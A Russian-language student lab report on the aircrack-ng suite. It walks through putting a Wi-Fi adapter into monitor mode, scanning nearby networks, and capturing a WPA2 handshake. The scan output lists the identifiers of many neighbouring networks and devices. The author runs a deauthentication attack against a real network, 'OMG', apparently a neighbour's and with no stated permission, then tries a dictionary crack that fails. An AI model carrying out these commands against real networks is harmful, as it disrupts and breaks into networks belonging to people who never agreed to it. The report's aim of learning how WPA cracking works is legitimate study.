Отчет по лабораторной работе №3 AirCrack

Дмитрий Баринов

4 июня 2015 г.

1 Цель работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP.

2 Ход работы

Изучить основные возможности пакета AirCrack и принципы взлома WPA/WPA2 PSK и WEP

1. Airodump-ng - программа предназначенная для захвата сырых пакетов протокола 802.11 и особенно подходящая для сбора WEP IVов (Векторов Инициализации) с последующим их использованием в aircrack-ng. Если к вашему компьютеру подсоединен GPS навигатор то airodump-ng способен отмечать координаты точек на картах

2. Aireplay-ng - Основная функция программы заключается в генерации трафика для последующего использования в aircrack-ng для взлома WEP и WPA-PSK ключей.

3. Aircrack-ng - Взламывает ключи WEP и WPA (Перебор по словарю).

Ввиду того, что данный компьютер является стационарным и не имеет wifi адаптера, данная работа выполнялась на ноутбуке соседа.

Запустить режим мониторинга на беспроводном интерфейсе

- Перевод wifi адаптера в режим монитора.

```
root@ak:/home/alex/dimas# airmon-ng
PHY     Interface      Driver         Chipset

phy0    wlan0          ath9k          Atheros Communications Inc.
     AR9485 Wireless Network Adapter (rev 01)

root@ak:/home/alex/dimas# airmon-ng start wlan0
Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

  PID Name
 2685 NetworkManager
 2912 wpa_supplicant
 8482 dhclient

PHY     Interface      Driver         Chipset

phy0    wlan0          ath9k          Atheros Communications Inc.
     AR9485 Wireless Network Adapter (rev 01)
               (mac80211 monitor mode vif enabled for [phy0]wlan0 on
                    [phy0]wlan0mon)
               (mac80211 station mode vif disabled for [phy0]wlan0)
```

- Прием всех пакетов - режим мониторинга

```
root@ak:/home/alex/dimas# airdump-ng wlan0mon
CH  8 ][ Elapsed: 30 s ][ 2015-06-04 02:15

 BSSID              PWR  Beacons    #Data, #/s CH  MB   ENC  CIPHER AUTH
      ESSID

 00:22:B0:4B:41:05 -44      97        0    0   2  54 . WPA2 TKIP  PSK
     OMG
 F8:1A:67:70:2F:FC -56      94        0    0  11  54e. WPA2 CCMP  PSK
     room545
 C8:D3:A3:32:00:2C -71      83        5    0  11  54e  WPA2 CCMP  PSK
     Muhammad Ali
 C4:A8:1D:3D:A4:A9 -73      64        0    0  11  54e  WPA2 CCMP  PSK
     549IdutNahui
 E8:DE:27:C3:1B:74 -67      84        0    0   7  54e. WPA2 CCMP  PSK
     room549
 C0:4A:00:AB:45:D4 -74      41       17    0   6  54e. WPA2 CCMP  PSK
     349
 C0:4A:00:6A:D9:BE -74      54        0    0   1  54e. WPA2 CCMP  PSK
     room443
 E8:94:F6:70:34:40 -72      75       10    0   6  54e. WPA2 CCMP  PSK
     449
 C8:D7:19:F1:6F:2F -74      38        4    0   1  54e  WPA2 CCMP  PSK
     548
 C0:4A:00:B9:3F:78 -78      59        2    0  11  54e. WPA2 CCMP  PSK
     TP
 E0:3F:49:8A:44:30 -78      44       17    0   3  54e  WPA2 CCMP  PSK  <
     length: 7>
 C0:4A:00:BB:90:32 -77      37        0    0   1  54e. WPA2 CCMP  PSK
     CHEESE
 C8:D7:19:F1:6F:30 -75      37        0    0   1  54e  OPN
     548-guest
 14:D6:4D:B4:EB:8A -77      42        1    0   1  54e. WEP  WEP
     542
 10:FE:ED:79:3E:9E -80      35        0    0   1  54e. WPA2 CCMP  PSK
     351
 14:D6:4D:83:AD:CA -80       4        0    0   6  54e. WPA2 CCMP  PSK
     Blackhole
 F8:1A:67:61:98:94 -86      13        1    0  10  54e. WPA2 CCMP  PSK
     We will drink forever
 F0:7D:68:40:00:B8 -83      23        0    0   6  54e. WPA2 CCMP  PSK  4
     Best
 C0:4A:00:9C:3F:2E -82       2        5    0   6  54e. WPA2 CCMP  PSK
     TP-LINK_9C3F2E
 28:10:7B:EF:25:1A -82      32        0    0   3  54e  WPA2 CCMP  PSK  M
     &N
 F2:B2:DC:5C:AD:F0 -84      23        0    0   8  54e  WPA2 CCMP  PSK  <
     length: 0>
 C0:4A:00:A2:30:DA -83      17        2    0   6  54e. WPA2 CCMP  PSK
     348
 B0:38:29:14:FC:A5 -84      13        3    0   1  54e. WPA2 CCMP  PSK
     YOTA
 C0:4A:00:BA:79:50 -88      12        0    0   6  54e. WPA2 CCMP  PSK
```

```
    444
C0:4A:00:B4:1E:E8 -87      7       3    0   5  54e. WPA2 CCMP  PSK
    Master
40:4A:03:56:FE:94 -88      1       1    0  13  54   WPA2 CCMP  PSK
    sasai lalka
F0:7D:68:3E:C1:61 -88      2       0    0   6  54   WPA2 CCMP  PSK
    malina-mammamia
F8:C0:91:11:6C:8A -89      6       0    0   9  54e  WPA2 CCMP  PSK
    Rita
C0:4A:00:B2:09:C2 -89      3       0    0   6  54e. WPA2 CCMP  PSK
    Pandemonium
2C:AB:25:2A:F2:99 -89      7       0    0   1  54e  WPA2 CCMP  PSK
    BORBA
54:E6:FC:F4:6C:AE -89      4       0    0   8  54e. WPA2 CCMP  PSK
    iA_R_T
00:26:F2:8C:22:60 -90      2       0    0   1  54 . WPA2 CCMP  PSK
    534room
E8:DE:27:E5:40:B0 -92      2       0    0   6  54e. WPA2 CCMP  PSK
    BELKA1

BSSID             STATION           PWR   Rate    Lost    Frames Probe

(not associated) 00:E0:61:42:DC:C1 -46   0 - 1     0       1
(not associated) B8:EE:65:9E:70:41 -53   0 - 1     0      42
    NormPacany,OMG
(not associated) 9C:2A:70:1A:EE:37 -59   0 - 1     0      10
                                                    B8:EE:65:9E:70:41
(not associated) CC:AF:78:72:3C:E9 -78   0 - 1     0       3
    room_322
(not associated) 74:E5:43:65:1B:B3 -79   0 - 1     0       1
(not associated) 0C:8B:FD:4B:C3:FA -87   0 - 1     0       1
(not associated) 60:03:08:8F:C6:6A -90   0 - 1     0       1  Oleg
C8:D3:A3:32:00:2C 00:1D:07:D9:0F:C1 -59  0 - 1     0       1
C4:A8:1D:3D:A4:A9 5C:0A:5B:81:97:BC -80  0 - 1     0       1
C0:4A:00:AB:45:D4 40:F0:2F:EC:08:71 -76  0e- 0e    0      15
C0:4A:00:AB:45:D4 28:E3:47:63:6A:B1 -78  0 - 1     0      11
C0:4A:00:6A:D9:BE 74:2F:68:F8:6D:7E -75  0 - 1     0       7
E8:94:F6:70:34:40 70:72:0D:66:9B:32 -59  0 - 1     9      12
E8:94:F6:70:34:40 D0:DF:9A:D9:BD:16 -73  0 - 1     0      12  449
E0:3F:49:8A:44:30 68:17:29:FD:66:96 -68  0 - 0e    0       1
14:D6:4D:B4:EB:8A AC:9E:17:2B:6B:03 -80  0 -11e    0       2
C0:4A:00:9C:3F:2E AC:38:70:9B:D8:75 -87  0 - 1     0       1
C0:4A:00:9C:3F:2E 80:56:F2:DD:9E:C7 -1   0e- 0     0       3
B0:38:29:14:FC:A5 9C:B7:0D:62:85:F9 -71  0 - 1     0       4  YOTA
C0:4A:00:B4:1E:E8 00:1D:07:E6:23:04 -88  0 - 1e    0       1
40:4A:03:56:FE:94 E8:03:9A:CD:09:6C -85  0 -24     0       1
54:E6:FC:F4:6C:AE 1C:4B:D6:FD:25:DB -82  0 - 1     0       7
```

Видим сеть с алгоритмом WEP - удачная цель для атаки. Однако, в данной сети нет ни одной станции, следовательно, атака невозможна. Посему проведем атаку на сеть "OMG". Она зашифрована WPA2, следовательно, вероятность успеха крайне мала. Но мы в данной работе преследуем цель научиться, а не взломать.

- Начинаем сбор траффика для данной сети:

```
root@ak:/home/alex/dimas# airodump-ng wlan0mon --write airdump --
    bssid 00:22:B0:4B:41:05 -c 2
 CH  2 ][ Elapsed: 48 s ][ 2015-06-04 02:22 ][

 BSSID            PWR RXQ Beacons   #Data, #/s CH  MB   ENC  CIPHER
     AUTH ESSID

 00:22:B0:4B:41:05 -43 100    486    1527   8   2  54 . WPA2 TKIP
     PSK  OMG

 BSSID            STATION          PWR   Rate   Lost   Frames Probe

 00:22:B0:4B:41:05 98:0D:2E:AC:F8:04 -50 54 -36    0     588
 00:22:B0:4B:41:05 84:8E:DF:54:DE:D5 -39 54 - 6  1754     957  OMG
```

Видим устройство, подключенное к сети. Начинаем пытаться деаутентифицировать данное устройство, чтобы получить hand-shake.

```
root@ak:/home/alex/dimas# aireplay-ng --ignore-negative-one --
    deauth 100 -a 00:22:B0:4B:41:05 -h 84:8E:DF:54:DE:D5 wlan0mon
The interface MAC (44:6D:57:7E:EF:E2) doesn't match the specified
    MAC (-h).
       ifconfig wlan0mon hw ether 84:8E:DF:54:DE:D5
02:25:10 Waiting for beacon frame (BSSID: 00:22:B0:4B:41:05) on
    channel 2
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
02:25:10 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:11 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:11 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:12 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:12 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:13 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:13 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
02:25:13 Sending DeAuth to broadcast -- BSSID: [00:22:B0:4B:41:05]
...
```

Паралельно слушая данную сеть:

```
root@ak:/home/alex/dimas# airodump-ng wlan0mon --write airdump --
    bssid 00:22:B0:4B:41:05 -c 2
 CH  2 ][ Elapsed: 48 s ][ 2015-06-04 02:22 ][ WPA handshake: 00:22:
     B0:4B:41:05
 ...
```

И вот, мы получили handshake. Запускаем подбор(не надеясь на положительный результат):

```
root@kali:/home/alex/dimas# aircrack-ng /home/airdump-04.cap -w /
    home/dictionary.dic
Opening /home/airdump-04.cap
Read 3839 packets.

   #  BSSID            ESSID                     Encryption
```

```
   1  00:22:B0:4B:41:05 OMG                    WPA (1 handshake)

Choosing first network as target.

Opening /home/airdump-04.cap
Reading packets, please wait...

                                Aircrack-ng 1.2 rc1
Passphrase not in dictionary

                             1

Quitting aircrack-ng...
```

Увы, так и есть. Подбор пароля для WPA2 для данной работы "is out of scope".

3 Выводы

В ходе данной работы были изучены основные возможности пакеты Air Crack и принципы взлома WPA/WPA2 PSK. Данный инструмент позволяет прослушивать пакеты, генерировать новые и на основе handshake осуществлять взлом пароля сети. Следует отметить, что пароли, отвечающие требованиям не представляется возможном взломать, так как единственный возможный вариант - это перебор паролей. Таким образом, нельзя сказать, что протокол WPA уязвим на данный момент.